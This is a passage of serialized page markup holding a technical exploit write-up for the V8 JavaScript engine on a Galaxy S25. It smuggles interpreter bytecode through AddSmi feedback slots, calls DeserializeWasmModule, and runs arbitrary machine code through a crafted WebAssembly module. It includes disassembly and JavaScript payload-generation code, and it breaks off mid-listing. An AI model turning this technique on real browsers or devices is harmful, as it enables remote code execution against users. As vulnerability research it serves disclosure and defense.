a211",{"type":24,"tag":90,"props":134604,"children":134605},{"style":120},[134606],{"type":29,"value":216},{"type":24,"tag":90,"props":134608,"children":134609},{"style":349},[134610],{"type":29,"value":134490},{"type":24,"tag":90,"props":134612,"children":134613},{"style":114},[134614],{"type":29,"value":381},{"type":24,"tag":90,"props":134616,"children":134617},{"class":92,"line":281},[134618,134622,134627,134631,134635],{"type":24,"tag":90,"props":134619,"children":134620},{"style":97},[134621],{"type":29,"value":895},{"type":24,"tag":90,"props":134623,"children":134624},{"style":136},[134625],{"type":29,"value":134626}," a212",{"type":24,"tag":90,"props":134628,"children":134629},{"style":120},[134630],{"type":29,"value":216},{"type":24,"tag":90,"props":134632,"children":134633},{"style":349},[134634],{"type":29,"value":134490},{"type":24,"tag":90,"props":134636,"children":134637},{"style":114},[134638],{"type":29,"value":381},{"type":24,"tag":25,"props":134640,"children":134641},{},[134642],{"type":29,"value":134643},"Those instructions result in:",{"type":24,"tag":80,"props":134645,"children":134647},{"code":134646},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[134648],{"type":24,"tag":32,"props":134649,"children":134650},{"__ignoreMap":7},[134651],{"type":29,"value":134646},{"type":24,"tag":25,"props":134653,"children":134654},{},[134655,134657,134663,134665,134669],{"type":29,"value":134656},"(The offset of ",{"type":24,"tag":32,"props":134658,"children":134660},{"className":134659},[],[134661],{"type":29,"value":134662},"Jump",{"type":29,"value":134664}," instructions is added to the ",{"type":24,"tag":842,"props":134666,"children":134667},{},[134668],{"type":29,"value":72919},{"type":29,"value":134670}," of the instruction.)",{"type":24,"tag":25,"props":134672,"children":134673},{},[134674,134676,134682],{"type":29,"value":134675},"Now, 3 out of the 6 bytes in a ",{"type":24,"tag":32,"props":134677,"children":134679},{"className":134678},[],[134680],{"type":29,"value":134681},"LdaSmi.ExtraWide",{"type":29,"value":134683}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":24,"tag":1019,"props":134685,"children":134687},{"id":134686},"exploit-goal",[134688],{"type":29,"value":134689},"Exploit Goal",{"type":24,"tag":25,"props":134691,"children":134692},{},[134693,134695,134701,134702,134708],{"type":29,"value":134694},"Initially we considered using ",{"type":24,"tag":32,"props":134696,"children":134698},{"className":134697},[],[134699],{"type":29,"value":134700},"Star",{"type":29,"value":6966},{"type":24,"tag":32,"props":134703,"children":134705},{"className":134704},[],[134706],{"type":29,"value":134707},"Ldar",{"type":29,"value":134709}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":24,"tag":25,"props":134711,"children":134712},{},[134713,134715,134722],{"type":29,"value":134714},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":24,"tag":69,"props":134716,"children":134719},{"href":134717,"rel":134718},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[73],[134720],{"type":29,"value":134721},"stack pivot and ROP",{"type":29,"value":134723},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":24,"tag":25,"props":134725,"children":134726},{},[134727],{"type":29,"value":134728},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":24,"tag":25,"props":134730,"children":134731},{},[134732],{"type":29,"value":134733},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":24,"tag":25,"props":134735,"children":134736},{},[134737,134739,134745,134747,134753,134755,134761],{"type":29,"value":134738},"At this point, we identified an interesting opcode: ",{"type":24,"tag":32,"props":134740,"children":134742},{"className":134741},[],[134743],{"type":29,"value":134744},"CallRuntime",{"type":29,"value":134746},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":24,"tag":32,"props":134748,"children":134750},{"className":134749},[],[134751],{"type":29,"value":134752},"--allow-natives-syntax",{"type":29,"value":134754}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":24,"tag":32,"props":134756,"children":134758},{"className":134757},[],[134759],{"type":29,"value":134760},"DeserializeWasmModule",{"type":29,"value":226},{"type":24,"tag":25,"props":134763,"children":134764},{},[134765,134767,134774,134775,134780,134781,134787,134789,134796],{"type":29,"value":134766},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":24,"tag":69,"props":134768,"children":134771},{"href":134769,"rel":134770},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[73],[134772],{"type":29,"value":134773},"JIT-compiled functions",{"type":29,"value":5057},{"type":24,"tag":32,"props":134776,"children":134778},{"className":134777},[],[134779],{"type":29,"value":134760},{"type":29,"value":6966},{"type":24,"tag":32,"props":134782,"children":134784},{"className":134783},[],[134785],{"type":29,"value":134786},"SerializeWasmModule",{"type":29,"value":134788}," themselves are only used from test functions, and indeed have been ",{"type":24,"tag":69,"props":134790,"children":134793},{"href":134791,"rel":134792},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[73],[134794],{"type":29,"value":134795},"removed",{"type":29,"value":134797}," from recent production V8 builds due to how abusable this functionality is.",{"type":24,"tag":25,"props":134799,"children":134800},{},[134801,134803,134809,134811,134817,134819,134824,134826,134832,134834,134839,134840,134845,134846,134851,134853,134859,134861,134865],{"type":29,"value":134802},"However, calling this opcode represented a significant challenge:\n",{"type":24,"tag":32,"props":134804,"children":134806},{"className":134805},[],[134807],{"type":29,"value":134808},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":134810},"\nWhere ",{"type":24,"tag":32,"props":134812,"children":134814},{"className":134813},[],[134815],{"type":29,"value":134816},"func-id",{"type":29,"value":134818}," is a 2-byte function ID, ",{"type":24,"tag":32,"props":134820,"children":134822},{"className":134821},[],[134823],{"type":29,"value":40044},{"type":29,"value":134825}," is the index of the last register passed and ",{"type":24,"tag":32,"props":134827,"children":134829},{"className":134828},[],[134830],{"type":29,"value":134831},"argc",{"type":29,"value":134833}," is the number of arguments passed (e.g. passing ",{"type":24,"tag":32,"props":134835,"children":134837},{"className":134836},[],[134838],{"type":29,"value":46202},{"type":29,"value":133},{"type":24,"tag":32,"props":134841,"children":134843},{"className":134842},[],[134844],{"type":29,"value":46345},{"type":29,"value":13360},{"type":24,"tag":32,"props":134847,"children":134849},{"className":134848},[],[134850],{"type":29,"value":46328},{"type":29,"value":134852}," would be encoded as ",{"type":24,"tag":32,"props":134854,"children":134856},{"className":134855},[],[134857],{"type":29,"value":134858},"\u003Cr2> \u003C3>",{"type":29,"value":134860},").\nThis requires ",{"type":24,"tag":842,"props":134862,"children":134863},{},[134864],{"type":29,"value":4632},{"type":29,"value":134866}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":24,"tag":1019,"props":134868,"children":134870},{"id":134869},"better-bytecode-control",[134871],{"type":29,"value":134872},"Better Bytecode Control",{"type":24,"tag":25,"props":134874,"children":134875},{},[134876,134878,134885,134887,134893],{"type":29,"value":134877},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":24,"tag":69,"props":134879,"children":134882},{"href":134880,"rel":134881},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[73],[134883],{"type":29,"value":134884},"feedback vector slot",{"type":29,"value":134886},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":24,"tag":32,"props":134888,"children":134890},{"className":134889},[],[134891],{"type":29,"value":134892},"AddSmi",{"type":29,"value":134894}," instruction, it represents the number of operations performed on the target value so far.",{"type":24,"tag":25,"props":134896,"children":134897},{},[134898],{"type":29,"value":134899},"For example, we can look at the below Ignition disassembly:",{"type":24,"tag":80,"props":134901,"children":134903},{"code":134902},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[134904],{"type":24,"tag":32,"props":134905,"children":134906},{"__ignoreMap":7},[134907],{"type":29,"value":134902},{"type":24,"tag":25,"props":134909,"children":134910},{},[134911,134913,134919],{"type":29,"value":134912},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":24,"tag":32,"props":134914,"children":134916},{"className":134915},[],[134917],{"type":29,"value":134918},"AddSmi.ExtraWide",{"type":29,"value":134920},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":24,"tag":25,"props":134922,"children":134923},{},[134924],{"type":29,"value":134925},"Eventually, we can reach a stage like this:",{"type":24,"tag":80,"props":134927,"children":134929},{"code":134928},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[134930],{"type":24,"tag":32,"props":134931,"children":134932},{"__ignoreMap":7},[134933],{"type":29,"value":134928},{"type":24,"tag":25,"props":134935,"children":134936},{},[134937],{"type":29,"value":134938},"If you skip the first two bytes, you have",{"type":24,"tag":3207,"props":134940,"children":134941},{},[134942,134973],{"type":24,"tag":3104,"props":134943,"children":134944},{},[134945,134950,134952,134957,134959,134965,134967],{"type":24,"tag":32,"props":134946,"children":134948},{"className":134947},[],[134949],{"type":29,"value":134744},{"type":29,"value":134951}," (0x6c) to ",{"type":24,"tag":32,"props":134953,"children":134955},{"className":134954},[],[134956],{"type":29,"value":134760},{"type":29,"value":134958}," (0x0266) starting from register ",{"type":24,"tag":32,"props":134960,"children":134962},{"className":134961},[],[134963],{"type":29,"value":134964},"a2",{"type":29,"value":134966}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":24,"tag":32,"props":134968,"children":134970},{"className":134969},[],[134971],{"type":29,"value":134972},"DeserializeWasmModule(a2, a1)",{"type":24,"tag":3104,"props":134974,"children":134975},{},[134976],{"type":29,"value":134977},"a Jump instruction",{"type":24,"tag":1019,"props":134979,"children":134981},{"id":134980},"returning-back-to-js",[134982],{"type":29,"value":134983},"Returning Back to JS",{"type":24,"tag":25,"props":134985,"children":134986},{},[134987,134989,134995],{"type":29,"value":134988},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":24,"tag":32,"props":134990,"children":134992},{"className":134991},[],[134993],{"type":29,"value":134994},"yield",{"type":29,"value":134996}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":24,"tag":25,"props":134998,"children":134999},{},[135000],{"type":29,"value":135001},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":24,"tag":80,"props":135003,"children":135005},{"code":135004,"language":33178,"meta":7,"className":33176,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[135006],{"type":24,"tag":32,"props":135007,"children":135008},{"__ignoreMap":7},[135009,135020,135068,135089,135105,135128,135156,135173],{"type":24,"tag":90,"props":135010,"children":135011},{"class":92,"line":93},[135012,135016],{"type":24,"tag":90,"props":135013,"children":135014},{"style":636},[135015],{"type":29,"value":50154},{"type":24,"tag":90,"props":135017,"children":135018},{"style":114},[135019],{"type":29,"value":269},{"type":24,"tag":90,"props":135021,"children":135022},{"class":92,"line":200},[135023,135028,135032,135037,135041,135046,135050,135055,135059,135063],{"type":24,"tag":90,"props":135024,"children":135025},{"style":136},[135026],{"type":29,"value":135027}," $",{"type":24,"tag":90,"props":135029,"children":135030},{"style":114},[135031],{"type":29,"value":78448},{"type":24,"tag":90,"props":135033,"children":135034},{"style":1085},[135035],{"type":29,"value":135036},"'a1 + 0xa931111;'",{"type":24,"tag":90,"props":135038,"children":135039},{"style":114},[135040],{"type":29,"value":226},{"type":24,"tag":90,"props":135042,"children":135043},{"style":108},[135044],{"type":29,"value":135045},"repeat",{"type":24,"tag":90,"props":135047,"children":135048},{"style":114},[135049],{"type":29,"value":117},{"type":24,"tag":90,"props":135051,"children":135052},{"style":349},[135053],{"type":29,"value":135054},"0x059302",{"type":24,"tag":90,"props":135056,"children":135057},{"style":120},[135058],{"type":29,"value":53079},{"type":24,"tag":90,"props":135060,"children":135061},{"style":349},[135062],{"type":29,"value":6909},{"type":24,"tag":90,"props":135064,"children":135065},{"style":114},[135066],{"type":29,"value":135067},")}\n",{"type":24,"tag":90,"props":135069,"children":135070},{"class":92,"line":239},[135071,135076,135080,135085],{"type":24,"tag":90,"props":135072,"children":135073},{"style":136},[135074],{"type":29,"value":135075}," a1",{"type":24,"tag":90,"props":135077,"children":135078},{"style":120},[135079],{"type":29,"value":1714},{"type":24,"tag":90,"props":135081,"children":135082},{"style":349},[135083],{"type":29,"value":135084}," 0x0402666c",{"type":24,"tag":90,"props":135086,"children":135087},{"style":114},[135088],{"type":29,"value":381},{"type":24,"tag":90,"props":135090,"children":135091},{"class":92,"line":248},[135092,135096,135101],{"type":24,"tag":90,"props":135093,"children":135094},{"style":636},[135095],{"type":29,"value":37017},{"type":24,"tag":90,"props":135097,"children":135098},{"style":349},[135099],{"type":29,"value":135100}," 0x393e91a",{"type":24,"tag":90,"props":135102,"children":135103},{"style":114},[135104],{"type":29,"value":381},{"type":24,"tag":90,"props":135106,"children":135107},{"class":92,"line":258},[135108,135112,135116,135120,135124],{"type":24,"tag":90,"props":135109,"children":135110},{"style":114},[135111],{"type":29,"value":48696},{"type":24,"tag":90,"props":135113,"children":135114},{"style":636},[135115],{"type":29,"value":50234},{"type":24,"tag":90,"props":135117,"children":135118},{"style":114},[135119],{"type":29,"value":1151},{"type":24,"tag":90,"props":135121,"children":135122},{"style":136},[135123],{"type":29,"value":53278},{"type":24,"tag":90,"props":135125,"children":135126},{"style":114},[135127],{"type":29,"value":1297},{"type":24,"tag":90,"props":135129,"children":135130},{"class":92,"line":272},[135131,135135,135139,135143,135147,135152],{"type":24,"tag":90,"props":135132,"children":135133},{"style":136},[135134],{"type":29,"value":103774},{"type":24,"tag":90,"props":135136,"children":135137},{"style":114},[135138],{"type":29,"value":226},{"type":24,"tag":90,"props":135140,"children":135141},{"style":108},[135142],{"type":29,"value":103783},{"type":24,"tag":90,"props":135144,"children":135145},{"style":114},[135146],{"type":29,"value":117},{"type":24,"tag":90,"props":135148,"children":135149},{"style":1085},[135150],{"type":29,"value":135151},"\"foo\"",{"type":24,"tag":90,"props":135153,"children":135154},{"style":114},[135155],{"type":29,"value":571},{"type":24,"tag":90,"props":135157,"children":135158},{"class":92,"line":281},[135159,135164,135169],{"type":24,"tag":90,"props":135160,"children":135161},{"style":636},[135162],{"type":29,"value":135163}," yield",{"type":24,"tag":90,"props":135165,"children":135166},{"style":136},[135167],{"type":29,"value":135168}," a16",{"type":24,"tag":90,"props":135170,"children":135171},{"style":114},[135172],{"type":29,"value":381},{"type":24,"tag":90,"props":135174,"children":135175},{"class":92,"line":384},[135176],{"type":24,"tag":90,"props":135177,"children":135178},{"style":114},[135179],{"type":29,"value":827},{"type":24,"tag":25,"props":135181,"children":135182},{},[135183,135185],{"type":29,"value":135184},"Starting from the final ",{"type":24,"tag":32,"props":135186,"children":135188},{"className":135187},[],[135189],{"type":29,"value":134892},{"type":24,"tag":80,"props":135191,"children":135193},{"code":135192}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[135194],{"type":24,"tag":32,"props":135195,"children":135196},{"__ignoreMap":7},[135197],{"type":29,"value":135192},{"type":24,"tag":25,"props":135199,"children":135200},{},[135201,135203,135208,135210,135216],{"type":29,"value":135202},"The smuggled jump in ",{"type":24,"tag":32,"props":135204,"children":135206},{"className":135205},[],[135207],{"type":29,"value":134892},{"type":29,"value":135209}," will redirect us to ",{"type":24,"tag":32,"props":135211,"children":135213},{"className":135212},[],[135214],{"type":29,"value":135215},"1a e9 93 03",{"type":29,"value":135217},", which results in:",{"type":24,"tag":3207,"props":135219,"children":135220},{},[135221,135232],{"type":24,"tag":3104,"props":135222,"children":135223},{},[135224,135230],{"type":24,"tag":32,"props":135225,"children":135227},{"className":135226},[],[135228],{"type":29,"value":135229},"Star r16",{"type":29,"value":135231}," (store accumulator to r16)",{"type":24,"tag":3104,"props":135233,"children":135234},{},[135235,135240],{"type":24,"tag":32,"props":135236,"children":135238},{"className":135237},[],[135239],{"type":29,"value":134662},{"type":29,"value":135241}," past the throw into the catch relevant code",{"type":24,"tag":25,"props":135243,"children":135244},{},[135245,135247,135253],{"type":29,"value":135246},"This will bring us nicely to the final ",{"type":24,"tag":32,"props":135248,"children":135250},{"className":135249},[],[135251],{"type":29,"value":135252},"yield a16",{"type":29,"value":135254},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":24,"tag":1019,"props":135256,"children":135258},{"id":135257},"executing-shellcode",[135259],{"type":29,"value":135260},"Executing Shellcode",{"type":24,"tag":25,"props":135262,"children":135263},{},[135264],{"type":29,"value":135265},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":24,"tag":80,"props":135267,"children":135269},{"code":135268,"language":37431,"meta":7,"className":37429,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[135270],{"type":24,"tag":32,"props":135271,"children":135272},{"__ignoreMap":7},[135273,135303,135530,135598,135605,135650,135696,135736,135743,135767,135804,135840],{"type":24,"tag":90,"props":135274,"children":135275},{"class":92,"line":93},[135276,135280,135285,135289,135293,135298],{"type":24,"tag":90,"props":135277,"children":135278},{"style":97},[135279],{"type":29,"value":36862},{"type":24,"tag":90,"props":135281,"children":135282},{"style":136},[135283],{"type":29,"value":135284}," wasm_code",{"type":24,"tag":90,"props":135286,"children":135287},{"style":120},[135288],{"type":29,"value":216},{"type":24,"tag":90,"props":135290,"children":135291},{"style":97},[135292],{"type":29,"value":33746},{"type":24,"tag":90,"props":135294,"children":135295},{"style":108},[135296],{"type":29,"value":135297}," Uint8Array",{"type":24,"tag":90,"props":135299,"children":135300},{"style":114},[135301],{"type":29,"value":135302},"([\n",{"type":24,"tag":90,"props":135304,"children":135305},{"class":92,"line":200},[135306,135311,135315,135320,135324,135329,135333,135338,135342,135346,135350,135354,135358,135362,135366,135370,135374,135378,135382,135386,135390,135394,135398,135403,135407,135411,135415,135419,135423,135427,135431,135435,135439,135443,135447,135451,135455,135459,135463,135467,135471,135475,135479,135483,135487,135491,135495,135500,135504,135509,135513,135518,135522,135526],{"type":24,"tag":90,"props":135307,"children":135308},{"style":349},[135309],{"type":29,"value":135310}," 0",{"type":24,"tag":90,"props":135312,"children":135313},{"style":114},[135314],{"type":29,"value":133},{"type":24,"tag":90,"props":135316,"children":135317},{"style":349},[135318],{"type":29,"value":135319},"97",{"type":24,"tag":90,"props":135321,"children":135322},{"style":114},[135323],{"type":29,"value":133},{"type":24,"tag":90,"props":135325,"children":135326},{"style":349},[135327],{"type":29,"value":135328},"115",{"type":24,"tag":90,"props":135330,"children":135331},{"style":114},[135332],{"type":29,"value":133},{"type":24,"tag":90,"props":135334,"children":135335},{"style":349},[135336],{"type":29,"value":135337},"109",{"type":24,"tag":90,"props":135339,"children":135340},{"style":114},[135341],{"type":29,"value":133},{"type":24,"tag":90,"props":135343,"children":135344},{"style":349},[135345],{"type":29,"value":534},{"type":24,"tag":90,"props":135347,"children":135348},{"style":114},[135349],{"type":29,"value":133},{"type":24,"tag":90,"props":135351,"children":135352},{"style":349},[135353],{"type":29,"value":6408},{"type":24,"tag":90,"props":135355,"children":135356},{"style":114},[135357],{"type":29,"value":133},{"type":24,"tag":90,"props":135359,"children":135360},{"style":349},[135361],{"type":29,"value":6408},{"type":24,"tag":90,"props":135363,"children":135364},{"style":114},[135365],{"type":29,"value":133},{"type":24,"tag":90,"props":135367,"children":135368},{"style":349},[135369],{"type":29,"value":6408},{"type":24,"tag":90,"props":135371,"children":135372},{"style":114},[135373],{"type":29,"value":133},{"type":24,"tag":90,"props":135375,"children":135376},{"style":349},[135377],{"type":29,"value":534},{"type":24,"tag":90,"props":135379,"children":135380},{"style":114},[135381],{"type":29,"value":133},{"type":24,"tag":90,"props":135383,"children":135384},{"style":349},[135385],{"type":29,"value":4051},{"type":24,"tag":90,"props":135387,"children":135388},{"style":114},[135389],{"type":29,"value":133},{"type":24,"tag":90,"props":135391,"children":135392},{"style":349},[135393],{"type":29,"value":534},{"type":24,"tag":90,"props":135395,"children":135396},{"style":114},[135397],{"type":29,"value":133},{"type":24,"tag":90,"props":135399,"children":135400},{"style":349},[135401],{"type":29,"value":135402},"96",{"type":24,"tag":90,"props":135404,"children":135405},{"style":114},[135406],{"type":29,"value":133},{"type":24,"tag":90,"props":135408,"children":135409},{"style":349},[135410],{"type":29,"value":6408},{"type":24,"tag":90,"props":135412,"children":135413},{"style":114},[135414],{"type":29,"value":133},{"type":24,"tag":90,"props":135416,"children":135417},{"style":349},[135418],{"type":29,"value":6408},{"type":24,"tag":90,"props":135420,"children":135421},{"style":114},[135422],{"type":29,"value":133},{"type":24,"tag":90,"props":135424,"children":135425},{"style":349},[135426],{"type":29,"value":3817},{"type":24,"tag":90,"props":135428,"children":135429},{"style":114},[135430],{"type":29,"value":133},{"type":24,"tag":90,"props":135432,"children":135433},{"style":349},[135434],{"type":29,"value":3191},{"type":24,"tag":90,"props":135436,"children":135437},{"style":114},[135438],{"type":29,"value":133},{"type":24,"tag":90,"props":135440,"children":135441},{"style":349},[135442],{"type":29,"value":534},{"type":24,"tag":90,"props":135444,"children":135445},{"style":114},[135446],{"type":29,"value":133},{"type":24,"tag":90,"props":135448,"children":135449},{"style":349},[135450],{"type":29,"value":6408},{"type":24,"tag":90,"props":135452,"children":135453},{"style":114},[135454],{"type":29,"value":133},{"type":24,"tag":90,"props":135456,"children":135457},{"style":349},[135458],{"type":29,"value":56495},{"type":24,"tag":90,"props":135460,"children":135461},{"style":114},[135462],{"type":29,"value":133},{"type":24,"tag":90,"props":135464,"children":135465},{"style":349},[135466],{"type":29,"value":57710},{"type":24,"tag":90,"props":135468,"children":135469},{"style":114},[135470],{"type":29,"value":133},{"type":24,"tag":90,"props":135472,"children":135473},{"style":349},[135474],{"type":29,"value":534},{"type":24,"tag":90,"props":135476,"children":135477},{"style":114},[135478],{"type":29,"value":133},{"type":24,"tag":90,"props":135480,"children":135481},{"style":349},[135482],{"type":29,"value":4632},{"type":24,"tag":90,"props":135484,"children":135485},{"style":114},[135486],{"type":29,"value":133},{"type":24,"tag":90,"props":135488,"children":135489},{"style":349},[135490],{"type":29,"value":135328},{"type":24,"tag":90,"props":135492,"children":135493},{"style":114},[135494],{"type":29,"value":133},{"type":24,"tag":90,"props":135496,"children":135497},{"style":349},[135498],{"type":29,"value":135499},"104",{"type":24,"tag":90,"props":135501,"children":135502},{"style":114},[135503],{"type":29,"value":133},{"type":24,"tag":90,"props":135505,"children":135506},{"style":349},[135507],{"type":29,"value":135508},"101",{"type":24,"tag":90,"props":135510,"children":135511},{"style":114},[135512],{"type":29,"value":133},{"type":24,"tag":90,"props":135514,"children":135515},{"style":349},[135516],{"type":29,"value":135517},"108",{"type":24,"tag":90,"props":135519,"children":135520},{"style":114},[135521],{"type":29,"value":133},{"type":24,"tag":90,"props":135523,"children":135524},{"style":349},[135525],{"type":29,"value":135517},{"type":24,"tag":90,"props":135527,"children":135528},{"style":114},[135529],{"type":29,"value":748},{"type":24,"tag":90,"props":135531,"children":135532},{"class":92,"line":239},[135533,135537,135541,135545,135549,135553,135557,135561,135565,135569,135573,135577,135581,135585,135589,135594],{"type":24,"tag":90,"props":135534,"children":135535},{"style":349},[135536],{"type":29,"value":135310},{"type":24,"tag":90,"props":135538,"children":135539},{"style":114},[135540],{"type":29,"value":133},{"type":24,"tag":90,"props":135542,"children":135543},{"style":349},[135544],{"type":29,"value":6408},{"type":24,"tag":90,"props":135546,"children":135547},{"style":114},[135548],{"type":29,"value":133},{"type":24,"tag":90,"props":135550,"children":135551},{"style":349},[135552],{"type":29,"value":91083},{"type":24,"tag":90,"props":135554,"children":135555},{"style":114},[135556],{"type":29,"value":133},{"type":24,"tag":90,"props":135558,"children":135559},{"style":349},[135560],{"type":29,"value":4051},{"type":24,"tag":90,"props":135562,"children":135563},{"style":114},[135564],{"type":29,"value":133},{"type":24,"tag":90,"props":135566,"children":135567},{"style":349},[135568],{"type":29,"value":534},{"type":24,"tag":90,"props":135570,"children":135571},{"style":114},[135572],{"type":29,"value":133},{"type":24,"tag":90,"props":135574,"children":135575},{"style":349},[135576],{"type":29,"value":3191},{"type":24,"tag":90,"props":135578,"children":135579},{"style":114},[135580],{"type":29,"value":133},{"type":24,"tag":90,"props":135582,"children":135583},{"style":349},[135584],{"type":29,"value":6408},{"type":24,"tag":90,"props":135586,"children":135587},{"style":114},[135588],{"type":29,"value":133},{"type":24,"tag":90,"props":135590,"children":135591},{"style":349},[135592],{"type":29,"value":135593},"11",{"type":24,"tag":90,"props":135595,"children":135596},{"style":114},[135597],{"type":29,"value":748},{"type":24,"tag":90,"props":135599,"children":135600},{"class":92,"line":248},[135601],{"type":24,"tag":90,"props":135602,"children":135603},{"style":114},[135604],{"type":29,"value":6137},{"type":24,"tag":90,"props":135606,"children":135607},{"class":92,"line":258},[135608,135612,135616,135620,135624,135629,135633,135637,135641,135646],{"type":24,"tag":90,"props":135609,"children":135610},{"style":97},[135611],{"type":29,"value":36862},{"type":24,"tag":90,"props":135613,"children":135614},{"style":136},[135615],{"type":29,"value":73452},{"type":24,"tag":90,"props":135617,"children":135618},{"style":120},[135619],{"type":29,"value":216},{"type":24,"tag":90,"props":135621,"children":135622},{"style":97},[135623],{"type":29,"value":33746},{"type":24,"tag":90,"props":135625,"children":135626},{"style":136},[135627],{"type":29,"value":135628}," WebAssembly",{"type":24,"tag":90,"props":135630,"children":135631},{"style":114},[135632],{"type":29,"value":226},{"type":24,"tag":90,"props":135634,"children":135635},{"style":108},[135636],{"type":29,"value":87749},{"type":24,"tag":90,"props":135638,"children":135639},{"style":114},[135640],{"type":29,"value":117},{"type":24,"tag":90,"props":135642,"children":135643},{"style":136},[135644],{"type":29,"value":135645},"wasm_code",{"type":24,"tag":90,"props":135647,"children":135648},{"style":114},[135649],{"type":29,"value":571},{"type":24,"tag":90,"props":135651,"children":135652},{"class":92,"line":272},[135653,135657,135662,135666,135670,135674,135678,135683,135687,135692],{"type":24,"tag":90,"props":135654,"children":135655},{"style":97},[135656],{"type":29,"value":36862},{"type":24,"tag":90,"props":135658,"children":135659},{"style":136},[135660],{"type":29,"value":135661}," inst",{"type":24,"tag":90,"props":135663,"children":135664},{"style":120},[135665],{"type":29,"value":216},{"type":24,"tag":90,"props":135667,"children":135668},{"style":97},[135669],{"type":29,"value":33746},{"type":24,"tag":90,"props":135671,"children":135672},{"style":136},[135673],{"type":29,"value":135628},{"type":24,"tag":90,"props":135675,"children":135676},{"style":114},[135677],{"type":29,"value":226},{"type":24,"tag":90,"props":135679,"children":135680},{"style":108},[135681],{"type":29,"value":135682},"Instance",{"type":24,"tag":90,"props":135684,"children":135685},{"style":114},[135686],{"type":29,"value":117},{"type":24,"tag":90,"props":135688,"children":135689},{"style":136},[135690],{"type":29,"value":135691},"mod",{"type":24,"tag":90,"props":135693,"children":135694},{"style":114},[135695],{"type":29,"value":571},{"type":24,"tag":90,"props":135697,"children":135698},{"class":92,"line":281},[135699,135703,135707,135711,135715,135719,135723,135727,135732],{"type":24,"tag":90,"props":135700,"children":135701},{"style":97},[135702],{"type":29,"value":36862},{"type":24,"tag":90,"props":135704,"children":135705},{"style":136},[135706],{"type":29,"value":81839},{"type":24,"tag":90,"props":135708,"children":135709},{"style":120},[135710],{"type":29,"value":216},{"type":24,"tag":90,"props":135712,"children":135713},{"style":136},[135714],{"type":29,"value":135661},{"type":24,"tag":90,"props":135716,"children":135717},{"style":114},[135718],{"type":29,"value":226},{"type":24,"tag":90,"props":135720,"children":135721},{"style":136},[135722],{"type":29,"value":39702},{"type":24,"tag":90,"props":135724,"children":135725},{"style":114},[135726],{"type":29,"value":226},{"type":24,"tag":90,"props":135728,"children":135729},{"style":136},[135730],{"type":29,"value":135731},"shell",{"type":24,"tag":90,"props":1357